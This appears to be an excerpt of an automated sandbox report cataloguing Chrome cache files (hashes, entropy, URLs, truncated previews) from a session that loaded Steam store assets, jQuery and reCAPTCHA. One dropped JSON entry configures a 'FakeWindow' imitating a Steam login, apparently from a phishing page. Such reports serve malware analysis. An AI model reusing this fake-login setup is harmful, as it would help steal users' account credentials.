SSDEEP:	12:Ac150Xyose8z9roNN0kEW0YIzKwbpcdFYOiEscTlEkUJfT2:Ac1spMroN7AYiDbpcdFY8sipGb2
MD5:	E89EE7BC3EEF1CA9184F69758BA3FE36
SHA1:	1D33AE6EF98078966C625BBD7A67A5538DADF4CC
SHA-256:	9498210D8F9B4268D4396C6E0756A0F414895AE89C8ED5EA972E13B172E4DCD3
SHA-512:	D409E6B849F5A54CE98050A2049BA9AA210B73B1900C8A27E2DF2C91D601D678C0E81C1390774D1D2CA07799B48D9F1E8CCE2200F4735BF41575A68622973434
Malicious:	false
Reputation:	low
Preview:	......JFIF.....%.%.....C.....................................%...#... , #&'))..-0-(0%()(...C...........(...((((((((((((((((((((((((((((((((((((((((((((((((((...... . .."....................................-.........................1..!Aa.#.."..$2Qq...........................&......................1.!....."Aa...............?...j.V....+).6......o....J.$..........ezT.b.FK.`g.).=..?..S._..o.n:RmV...E.~T...3.\|....wf..4..0.....(d.....-.z.-...z....O.S.F1..+.N......R..G%z{r..M.$.............@...R"....P.e'aZ.EDT...-.4.$..........=..2.!...i-.FB...\|....z..i..g"d.\......>.ZaF................7'.}.[......'.....8..WH&Y.$...9....,.....he..1...rB..........:.:U..>u.(L...u.......6...h.P.4H.j..

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (724)
Category:	dropped
Size (bytes):	551834
Entropy (8bit):	5.646059185430787
Encrypted:	false
SSDEEP:	6144:ytxIUYTteVvs0E8gSdoxS4MLYw1tZnAzsz1I9VBojCdzNDC2vPpD:ybYTZMgGopkAzsz1ciEU2d
MD5:	33AFF52B82A1DF246136E75500D93220
SHA1:	4675754451AF81F996EAB925923C31EF5115A9F4
SHA-256:	B5E8EC5D4DCC080657DEB2D004F65D974BF4EC9E9AA5D621E10749182FFF8731
SHA-512:	2E1BAAE95052737BDB3613A6165589643516A1F4811D19C2F037D426265AA5ADF3C70334C1106B1B0EEF779244389F0D7C8C52B4CD55FCE9BAB2E4FCB0642720
Malicious:	false
Reputation:	low
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././.. Copyright Google LLC. SPDX-License-Identifier: Apache-2.0././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var z=function(){return[function(v,p,K,u,W,n){if(!((v>>2&(n=[6,"Unknown format requested type for int64",9],n[0])\|\|!U[22](11,this.U(),p)&&this.dispatchEvent("enter")&&this.isEnabled()&&R[23](n[2],this,2)&&R[3](n[0],2,!0,this),v-1)<20&&(v>>1&7)>=4&&(u=new vf,W=R[41](1,p,u,kV,K==p?K:P[8](37,K),5)),v<<1&11))throw Error(n[1]);return W},function(v,p,K,u,W){return((W=[17,7,46],v)<<2&W[1]\|\|(p=function(n){return K.call(p.src,p.listener,n)},K=UJ,u=p),(v-1\|12)<v&&(v-9\|59)>=v)&&(u=M[W[2]](15,p)&&!M[W[2]](13,."iPod")&&!M[W[2]](W[0],K)),((v\|8)&W[1])==1&&(u=p.Y?p.Y:p.I?"application/x-protobuffer":""),u},function(v,p,K,u,W){retu

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 617 x 617, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	156189
Entropy (8bit):	7.99475625198294
Encrypted:	true
SSDEEP:	3072:6P8wz0Ce7k5r0rl8bT/Ve+0GuwmplG6to6YisdGyMPGJGQRcwx:Ejznr5r0p83/VewmBtHfRkx
MD5:	9389E1E5441EBADDDC281F07CACE6EAD
SHA1:	B5C977584B910B46CC9E6843F2BD3B80DBBBA532
SHA-256:	A49736FDB66045A836A7699F03D728F9D663CA7472D4551B6D60827FD4147E70
SHA-512:	69252082731F799C6497956625C2F88E26DFDEC7FC9F1A13621FF37E12810F45FB37F90E93A7A8AE019641831A71212FA9D7D5697D74B622A948D8F88F05287A
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/mobile/localizedimages/mobile_chat/mobile_chat_english.png
Preview:	.PNG........IHDR...i...i......q......tEXtSoftware.Adobe ImageReadyq.e<....iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c006 79.164753, 2021/02/15-11:52:13 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:2de2dab8-aafd-484a-a2b7-1ccf02b6f6d9" xmpMM:DocumentID="xmp.did:6A6CBA1748F011ED87AC85834D48B374" xmpMM:InstanceID="xmp.iid:6A6CBA1648F011ED87AC85834D48B374" xmp:CreatorTool="Adobe Photoshop CC 2019 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9458924f-413a-d341-807d-07a2b5845494" stRef:documentID="adobe:docid:photoshop:e5c98063-70ca-a348-8dcf-646ae0b67b84"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>......^/IDATx.....U..

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (24681), with CRLF line terminators
Category:	downloaded
Size (bytes):	60854
Entropy (8bit):	5.237035743895263
Encrypted:	false
SSDEEP:	1536:AEJpvhd5dY0KEApMyw+l/oOJz9owymlgaUYCOlb+OeaLJIt:AEr5n6EhZkyuLJIt
MD5:	BF7E930C75C0FEC002110E9B34D8AA7D
SHA1:	92EAB00D40336B37E15583EF5D385B6B4E7A0A61
SHA-256:	FB1E3D2F0CB6E7D4E141CA84C8119F9A544C822B0BAF2F94F3073B84576770D8
SHA-512:	BE289CA1EA1355D5AA7508F145A4323FE20F875957CCB410222B7A8258ED4F3E8AFF72D00B1DA20CD04F8A7EFF3FC66C91FBF40EFAD877AED609DBFB039D4449
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/login.js?v=v36TDHXA_sAC&l=english
Preview:	"use strict";....function CLoginPromptManager( strBaseURL, rgOptions )..{...// normalize with trailing slash...this.m_strBaseURL = strBaseURL + ( strBaseURL.substr(-1) == '/' ? '' : '/' ) + ( this.m_bIsMobile ? 'mobilelogin' : 'login' ) + '/';...this.m_strSiteBaseURL = strBaseURL; // Actual base url, not the login base url above......// read options...rgOptions = rgOptions \|\| {};...this.m_bIsMobile = rgOptions.bIsMobile \|\| false;...this.m_strMobileClientType = rgOptions.strMobileClientType \|\| '';...this.m_strMobileClientVersion = rgOptions.strMobileClientVersion \|\| '';...this.m_bIsMobileSteamClient = ( this.m_strMobileClientType ? true : false );...this.m_bMobileClientSupportsPostMessage = rgOptions.bMobileClientSupportsPostMessage \|\| false;.....this.m_$LogonForm = $JFromIDOrElement( rgOptions.elLogonForm \|\| document.forms['logon'] );.....this.m_fnOnFailure = rgOptions.fnOnFailure \|\| null;...this.m_fnOnSuccess = rgOptions.fnOnSuccess \|\| null;.....this.m_strRedirectURL = rgOptions.strRe

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65451)
Category:	downloaded
Size (bytes):	88145
Entropy (8bit):	5.291106244832159
Encrypted:	false
SSDEEP:	1536:yTExXUZinxD7oPEZxkMV4SYKFMbRHZ6H5HOHCWrcElzuu7BRCKKBEqBsojZlOPma:ygZm0H5HO5+gCKWZyPmHQ47GKe
MD5:	220AFD743D9E9643852E31A135A9F3AE
SHA1:	88523924351BAC0B5D560FE0C5781E2556E7693D
SHA-256:	0925E8AD7BD971391A8B1E98BE8E87A6971919EB5B60C196485941C3C1DF089A
SHA-512:	6E722FCE1E8553BE592B1A741972C7F5B7B0CDAFCE230E9D2D587D20283482881C96660682E4095A5F14DF45A96EC193A9B222030C53B1B7BBE8312B2EAE440D
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js
Preview:	/! jQuery v3.4.1 \| (c) JS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],E=C.document,r=Object.getPrototypeOf,s=t.slice,g=t.concat,u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 176 x 50, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2584
Entropy (8bit):	7.591818812076699
Encrypted:	false
SSDEEP:	48:4wqQNn2xoJ35l3QWpQSufhbTCFV0Q0jkIPIH+UCKPnaqiLruSd+1w:oY2ml31ZCdqWQMkADnK41d+1w
MD5:	86A9CCC0B872F22006A48BC6C2500F4E
SHA1:	0EDCCF2CBC869816135C6FF4C3EEE0C49D0F41C1
SHA-256:	D8BBE461137D50211568449468A1981EF189248200EADD48C3141A9DF0B8F7FC
SHA-512:	43EBD681FE137718E45153B9CE062CE9426AC57D6CE907BD3B1C7709BF6F6D2AB4B49E22F2DC4F203DEDF860A895A4B58F4A01095E97722CE5F27935038F0B56
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/footerLogo_valve_new.png
Preview:	.PNG........IHDR.......2.......Q.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:595356BA543311EAAC5FF1C3D4DCAF18" xmpMM:DocumentID="xmp.did:595356BB543311EAAC5FF1C3D4DCAF18"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:595356B8543311EAAC5FF1C3D4DCAF18" stRef:documentID="xmp.did:595356B9543311EAAC5FF1C3D4DCAF18"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>tU......IDATx..][l.E.....Q(.....11.VTL."....cb.1../.`x.x...&..F}P.....$*........J..5^Z5..@Kc...3...?{f.....%_...f.

Chrome Cache Entry: 247

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	136904
Entropy (8bit):	5.308375203320282
Encrypted:	false
SSDEEP:	1536:bZuIBobvWn/B3xfemTMePKnkwt/1YJO0MMxqTEZ5jpYwr0svwWVjg9WN:bNYePKnk9AfM3Z5jWs0svwWVjg9u
MD5:	473ADDDEE09D46911036C82DE1DAD9F4
SHA1:	1DE8FCD88F7F8E513CBC6F4CE1FCEB7B7A595CE1
SHA-256:	6770AEECA1ECECD3192C0C7CEC9F66308E8EED52D53C5F08FB72111764A0FF83
SHA-512:	473373DD46D58C4251E72B8CA7BCD518DC831F6B6FFFF63C8B9CBA5ABCB3A9D7E8F405C611EDB5F5CEEB34EDDA5FDF9AA384266F5A7F6E913A15E35F25AA5CBE
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/v6/store.css?v=z0n7Kqde-Ths&l=english
Preview:	..* {...padding: 0;...margin: 0;..}....img {...border: none;..}......a {...text-decoration: none;...color: #ffffff;..}.......a:focus {...outline: 0px none;..}....a:hover {...text-decoration: none;.. color: #66c0f4;..}....a.nohover:hover {...text-decoration: none;..}......html {...height: 100%;..}....body.v6 {...position: relative;...min-height: 100%;...font-family: Arial, Helvetica, sans-serif;...color: #c6d4df;...font-size: 12px;..}....body.v6.in_client {...background-position: center top;..}....body.v6.game_bg {.. background: #1b2838;..}....body.v6 > div#global_header {...border-bottom-color: #171a21;..}.....v6_bg {.../* background: url( '/public/images/v6/tag_browse_header_bg.png' ) no-repeat center top; */..}....body.blue .v6_bg {...background:....url( '/public/images/v6/blue_top_center.png' ) center top no-repeat,....url( '/public/images/v6/blue_top_repeat.png' ) center top repeat-x..;.....min-height: 370px;..}....body.v6 div#store_header {...background-color: transparent;..

Chrome Cache Entry: 248

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	91429
Entropy (8bit):	5.314088694667635
Encrypted:	false
SSDEEP:	1536:imsvf3ZcGj0CqB26gdz5a70sfFo1KnVn6z4EBYfhlOPBr90w6ssOZrQSysmHN4j4:K046g+Dn6z4EBBlWN40
MD5:	7F3E92BF5B5B4B76446E6147D86C21AE
SHA1:	277260B15BB51C0E19B4B3D27ACC4E4E5F172069
SHA-256:	C19260B0FC51D2BC52D42E72DA83699701B5C5040460AA6BC13F4F0E6F5F9FF3
SHA-512:	47E9F75803C0D8B1EC169FC501A1768B4F11F38C54C435B1ACD2CF9BFA4707C78EF56B3868D50AA36D6975760A57843DD306829D92A04B36BB1AA94B506AEF79
Malicious:	false
Reputation:	low
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 249

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/images/header/btn_header_installsteam_download.png?v=1
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 250

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	4.74246046620835
Encrypted:	false
SSDEEP:	6:YWQmDoHrx73iANXKDb0y16CQEngoM/eSEzXSvjDMqLM8ErBXjWORoR3C6:YWY1iOXS0SDgovXSLDiVLoBT
MD5:	5E7EB53A46D32818A77C01B62C0D3E26
SHA1:	0342617B8A5CA56539207D1B0028320759078865
SHA-256:	E80820F957655104AB644F62FA87B19A309244B098AF592A93683147576682D3
SHA-512:	3F8CC341B5788447104F8B85714817D9A1F0AC134E9EBDA1F34DCC9FC5CC29AC09382FF38D5D137A263C9E9E268943BDEA33C5DF9D60504113BAE91E50847243
Malicious:	false
Reputation:	low
Preview:	{"success":true,"service":"Steam","iframe":true,"timestamp":1728283626626.1829,"window":{"type":"FakeWindow","title":"Steam","url":"steamcommunity.com","path":"/login/home/?goto=","icon":"https://steamcommunity.com/favicon.ico"},"login":{},"browser":{"isDesktop":true,"isInternal":false}}

Chrome Cache Entry: 251

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1526), with no line terminators
Category:	dropped
Size (bytes):	1526
Entropy (8bit):	5.75032363285845
Encrypted:	false
SSDEEP:	24:2jkm94oHPccXbjZy+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQop:iEcpxKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	B15969827D0F6431C1A98EDF467AD051
SHA1:	FC5B77E9B5631B47E551BFF87174ED5C0417C25F
SHA-256:	5620E62E0F92C56CA9827CEF87364B9A715287BEEAF1D309672657BFF847CC94
SHA-512:	68DC21165E532F73728923054647F13499D44BA31E475A15156C540F80FB246C3457747A4C05AC0F368BE2616F906E7B08E4C71FDBB38208D2C3C9C779A61DFF
Malicious:	false
Reputation:	low
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(f

Chrome Cache Entry: 252

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	25021
Entropy (8bit):	5.432008045697921
Encrypted:	false
SSDEEP:	384:aUXvnJo2Facv5Wc4gOVMXBGdJTZ1CFN6ex6K2UD3mt4lRyOb74jCWqGil/wSwf0m:aU/nq2Fd4gC6WqGil/wS20m
MD5:	1F10C8901E451C0A179FEC8F29288CAC
SHA1:	539CAF472E65DDD35960ED129791DAB0586DA854
SHA-256:	73E516FF6298C9F13E8FB1C21E62BAC77DD23FC679594EADD982D8C4A94173F8
SHA-512:	D9EA7A3494C414FCFB8937DAFC70FCF8829FD5AC00E700C673C98A766089BA38D7F6A45921F2A5E116E70C13BCE74227C8E5318C162AE8A7DCC7F8744065BF11
Malicious:	false
Reputation:	low
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 253

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 24 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansLight4.015;Plau;MotivaSa
Category:	downloaded
Size (bytes):	122660
Entropy (8bit):	6.047516179670634
Encrypted:	false
SSDEEP:	3072:XnN/O/ceJkGwg/MOAibD2hPfX4HYhDhudcvObkSafj9:9/O/ceJkGwg/MOAib6nX44NhIWOb8fh
MD5:	D45F521DBA72B19A4096691A165B1990
SHA1:	2A08728FBB9229ACCCBF907EFDF4091F9B9A232F
SHA-256:	6B7A3177485C193A2E80BE6269B6B12880E695A8B4349F49FCCF87F9205BADCC
SHA-512:	9262847972A50F0CF8FC4225C6E9A72DBF2C55CCBCC2A098B7F1A5BD9EA87502F3C495A0431373A3C20961439D2DAE4AF1B1DA5B9FADE670D7FCAED486831D8C
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.015
Preview:	........... DSIG............GDEF...4...,...@GPOS..n)...l..ujGSUB.d....v.....OS/2t.....\|...`cmap.d..........cvt F).....d....fpgm.6!....,....gasp.......\....glyf...d...l....head...A...$...6hhea...+...\...$hmtxv.x.........loca..g....h....maxp........... name.\....0....post............prep.......D...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 254

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 13 x 20, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1096
Entropy (8bit):	6.304821109987511
Encrypted:	false
SSDEEP:	24:j1hpunQWwjx82lY2T32HEV+/obKvKyJ3V+NgcbiPGlDwkNXoVS9v:pitNn2VaJJ3XrmwkNR
MD5:	9144BEC4573DB7B865C7678AC940199A
SHA1:	03F112BA8B6DBD6C3547763C9F195B17F6F6AE87
SHA-256:	18AF5AE91365E0EF0D029CAC6CD819377BC1DAEF5F4D55DBE9767C10C86ADF29
SHA-512:	F11A724F249797B1E9A3500B4EA4B891DDC44C6B3079FF94983513F85E13E1DBA3EB3402A838A78C60D5948B66CFEE8E4D4A03F037D67404D6737FA9D80F11F3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............V2./....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:6843D610C12A11E4BED2BD54346121FF" xmpMM:DocumentID="xmp.did:6843D611C12A11E4BED2BD54346121FF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6843D60EC12A11E4BED2BD54346121FF" stRef:documentID="xmp.did:6843D60FC12A11E4BED2BD54346121FF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket 